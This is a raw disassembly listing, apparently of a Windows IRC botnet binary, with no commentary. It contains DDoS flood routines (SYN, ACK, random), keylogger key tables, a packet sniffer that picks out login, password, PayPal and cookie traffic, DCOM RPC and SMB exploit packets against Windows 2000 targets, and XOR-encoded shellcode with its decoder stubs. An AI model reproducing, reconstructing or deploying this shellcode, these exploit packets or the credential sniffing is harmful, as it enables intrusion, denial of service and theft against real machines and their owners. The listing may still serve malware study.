unk_426214	db    2			; DATA XREF: sub_40144A:loc_401493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketFai	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aSupersynDoneWi	db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo
		align 10h
dword_426280	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4019D7+4Bo
		dd 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 4
dword_4262B8	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401A76+27Do
		dd 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4262E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+4EBo
		dd 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_426344	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+44Fo
		dd 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401D82+312o
					; sub_40EE72+2C3Co
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401D82+2F2o
					; sub_40EE72+2C25o
aSyn		db 'syn',0              ; DATA XREF: sub_401D82+2D2o
					; sub_40EE72+2C0Do
dword_4263B4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+15Fo
		dd 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4263E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+EEo
		dd 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_42642C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+70o
		dd 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_4023A7:loc_40248Ao
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_426BA4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_426BDC	dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
					; DATA XREF: sub_4022C6+AEo
		dd 2202967h, 2002BBBBh,	732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_4022C6+4Eo
					; sub_40EE72+2AE5o
		align 4
asc_426C1C:				; DATA XREF: sub_4022C6+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo
		align 4
off_426C68	dd offset off_4274E0	; DATA XREF: sub_402688+29Er
		dd offset off_4274DC
		dd offset off_4274D8
		dd offset aHttp		; "HTTP"
dword_426C78	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_402688+1DEo
dword_426C8C	dd 0			; DATA XREF: sub_402688+297r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: ___:00426C74o
		align 4
off_4274D8	dd offset word_505446	; DATA XREF: ___:00426C70o
off_4274DC	dd offset byte_435249	; DATA XREF: ___:00426C6Co
off_4274E0	dd offset word_544F42	; DATA XREF: ___:off_426C68o
unk_4274E4	db    2			; DATA XREF: sub_402688+2FCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_427528	db    2			; DATA XREF: sub_402688+2ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_402688+235o
		align 4
unk_427578	db    2			; DATA XREF: sub_402688+186o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 10h
unk_4275C0	db    2			; DATA XREF: sub_402688+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
unk_427604	db    2			; DATA XREF: sub_402688+85o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
dword_427648	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_402DD7+E1o
					; sub_402DD7+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_427694	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_402B84+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4279F8	dd 20h,	0		; DATA XREF: sub_402B84+136o
		dd 20h,	5C005Ch, 0
off_427A0C	dd offset unk_43005C	; DATA XREF: sub_402B84+15Do
		dd offset dword_5C0024
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		dd 0
dword_427A4C	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_427A80	dd offset word_580046	; DATA XREF: sub_402B84+45o
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_427B5C	dd 18759Fh		; DATA XREF: sub_402B84+104o
dword_427B60	dd 100139Dh		; DATA XREF: sub_402B84+FBo
off_427B64	dd offset dword_5C005C	; DATA XREF: sub_4029E9+1Co
					; sub_402ACC+16o
		dd 0
off_427B6C	dd offset dword_49005C	; DATA XREF: sub_4029E9+Co
					; sub_402ACC+Bo
		dd offset dword_430050
		dd 24h
unk_427B78	db    2			; DATA XREF: sub_402DD7+299o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComple	db '  transfer complete to IP: %s',0
		align 10h
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o
		align 8
		jmp	short loc_427BDA

; =============== S U B	R O U T	I N E =======================================



sub_427BCA	proc far		; CODE XREF: sub_427BCA:loc_427BDAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_427BD2:				; CODE XREF: sub_427BCA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_427BD2
		jmp	short loc_427BDF
; ---------------------------------------------------------------------------


loc_427BDA:				; CODE XREF: ___:00427BC8j
		call	near ptr sub_427BCA


loc_427BDF:				; CODE XREF: sub_427BCA+Ej
		jo	short loc_427C43
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_427C61
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_427C43:				; CODE XREF: sub_427BCA:loc_427BDFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_427C61:				; CODE XREF: sub_427BCA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_427BCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_427D08:				; DATA XREF: sub_403249+156o
					; sub_403249+212o
		jmp	short loc_427D1A

; =============== S U B	R O U T	I N E =======================================



sub_427D0A	proc near		; CODE XREF: sub_427D0A:loc_427D1Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_427D12:				; CODE XREF: sub_427D0A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_427D12
		jmp	short loc_427D1F
; ---------------------------------------------------------------------------


loc_427D1A:				; CODE XREF: ___:loc_427D08j
		call	sub_427D0A


loc_427D1F:				; CODE XREF: sub_427D0A+Ej
		jo	short near ptr dword_427C98+1Eh
		cwde
		cdq
		cdq
		retn
sub_427D0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_427DB8	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_403249+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_427EA0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040370Do
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_427F2C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403739o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_427FD8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403760o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4280B8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_403249+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_42811C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_428188	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
